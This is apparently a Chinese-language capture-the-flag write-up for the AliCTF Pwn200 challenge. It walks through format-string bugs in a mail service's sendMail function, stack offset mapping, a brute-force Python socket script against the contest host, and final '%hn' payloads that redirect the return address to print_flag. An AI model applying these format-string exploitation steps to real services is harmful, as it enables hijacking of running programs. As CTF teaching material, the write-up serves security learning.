AliCtf Pwn200(100pt) Writeup

本文年代久远,其中的表述和倾向可能与现在不同,请留意时效。

拖入IDA发现符号表没有被strip掉,很容易发现print_flag函数,且该函数没有xref,明确目标是将某返回值修改为此函数。

服务程序会在后台调用数据库接口,从数据库中读取用户名和密码信息,这两项信息是持续存储的,不会在再次连接的时候清空。

f5找漏洞,很快发现在sendMail中有两个printf存在格式化字符串漏洞:

int __cdecl sendMail(int handle, int from_name, char *to_name, char *mail_title, char *mail_body)  
{  
  int result; // eax@5  
  char mail_body_1[200]; // [sp+20h] [bp-D8h]@4  
  int sptf_ret; // [sp+E8h] [bp-10h]@4  
  char title_len; // [sp+EEh] [bp-Ah]@1  
  char body_len; // [sp+EFh] [bp-9h]@1  

  puts("Send Mail");  
  printf("From: %s\n", from_name);  
  printf("To:");  
  get_input((int)to_name, 30);  
  printf("To:");  
  printf(to_name);       //<<<<<<<  
  putchar('\n');  
  printf("Title:");  
  get_input((int)mail_title, 255);  
  printf("Title:");  
  printf(mail_title);     //<<<<<<<  
  putchar(10);  
  printf("Body:");  
  get_input((int)mail_body, 255);  
  body_len = strlen(mail_body);  
  title_len = strlen(mail_title);  
  if ( (char)(body_len + title_len) > 120 )  
  {  
    puts("The body or title is to big");  
    quit(handle);  
  }  
  sprintf(  
    mail_body_1,  
    "insert into inbox (fromuser,touser,body) values('%s','%s','Title:%sBody:%s');",  
    from_name,  
    to_name,  
    mail_title,  
    mail_body);  
  if ( sptf_ret )  
    result = puts("Send Mail Error");  
  else  
    result = puts("Send Mail OK");  
  return result;  
}

ctrl+k查看堆栈结构,结合nc连上实际实验,可获得几项关键地址

+00000000  s              db 4 dup(?) 
+00000004  r              db 4 dup(?)  
+00000008 handle          dd ?  
+0000000C from_name       dd ?  
+00000010 to_name         dd ?                    ; offset  
+00000014 mail_title      dd ?                    ; offset  
+00000018 mail_body       dd ?                    ; %68$x
  • %62$x --> sendMail函数存放的ebp,内容为main帧ebp
  • %63$x --> sendMail函数返回值地址
  • %64-68$x --> 一系列参数
  • %90$x --> main函数存放的ebp

触发漏洞的字符串并没放在栈上,而是放在malloc分配的堆空间中,在栈空间的下方,无法通过%*$的方式访问到,期初用栈缓冲区的构造方法尝试了好久发现SB了,那么要重新寻找构造方法。

%X$n控制符是将显示的字符数存入[X]指向的空间,想要修改返回值,必须有一个指向sendMail存放的返回值的指针,但程序中不可能自行存在,于是需要自行构造两级指针,第一级指针指向sendMail帧存放的返回值,第二级指针指向第一级指针。通过写入一级指针的内容使之指向待修改的返回值,再访问一级指针将返回值改为目标地址(print_flag)。

然后马上想到的两级指针就是ebp链,通过%62$x得到的main的ebp很容易可以将整个栈空间的地址都摸清楚,然后用%62$n使%90$x指向返回值,再用%90$n就能修改掉返回值。但稍作测试后发现由于栈空间比较高,地址动辄0xbfxxxxxx,要显示这么多字符需花费极大量时间且一般不能成功,最佳方式是用%hn只修改地址的低4位。但%90$x原值是0,只得放弃,转而寻找其它的两级指针链。

睡了一觉起来之后很快想到如下序列:
lea xxx,yyy
mov ptr[zzz],xxx
转而在sendMail和上层main中找:

.text:08049837 064 mov     edx, [esp+48h]  
.text:0804983B 064 mov     [esp+10h], edx  ; body esp+48  
.text:0804983F 064 mov     edx, [esp+44h]  
.text:08049843 064 mov     [esp+0Ch], edx  ; title  esp+44  
.text:08049847 064 mov     edx, [esp+40h]  
.text:0804984B 064 mov     [esp+8], edx    ; to name  esp+40  
.text:0804984F 064 lea     edx, [esp+30h]  ; <<<< THIS  
.text:08049853 064 mov     [esp+4], edx    ; from  esp+30  
.text:08049857 064 mov     [esp], eax      ; handle  
.text:0804985A 064 call    sendMail        ; Call Procedure

[esp+4] 指向 esp+30,如果能用%n修改掉[esp+30]的值就能成功使[esp+30]指向返回值,最终劫持eip

这里esp+4对应%65$xesp+30h对应%76$x

nc尝试,发现%76$x的内容是用户名,需要注册一个特殊的用户名,名称恰好是某个地址。然后苦逼的地方来了,checksec发现启用nx,栈地址有3个字节会随机变化,除去低4位可以稍后用%65$hn写入,还有一个字节需要暴力碰撞。由于payload十分简单,只需要填两个数字,可以手动,脚本在跑完栈地址后就简单地循环读写了。

import socket  
import time  
s = socket.socket()  
s.connect(('exploit.alictf.com',55664))  
s.send('1\nAA\x86\xbf\n\n')  #先注册  
s.close()  
while True:  
  s = socket.socket()  
  s.connect(('exploit.alictf.com',55664))  
  s.send('2\nAA\x86\xbf\n\n')  #撞0xbf86  
  print s.recv(4096)  
  print s.recv(4096)  
  s.send('3\n%62$x\n')  
  s.recv(1024)  
  d = s.recv(1024)  
  print 'd--------->',d  
  if d.find('bf86') > 0:  
    break  
  #time.sleep(0.3)  
while True:  
  ss = raw_input("input-->")  
  if ss != '\n':  
    s.send(ss.strip()+'\n')  
  try:  
    while True:  
      d =  s.recv(4096)  
      print d  
      if d.find('G') >= 0:  #出现flag时会有GXGX字样  
        raw_input('GOT SOMETHING!!!')  
  except KeyboardInterrupt:  
    pass

然后两个利用字串为%AAAAc%65$hn%35773c%76$hn(0x8048bbd,0x8bbd=35773)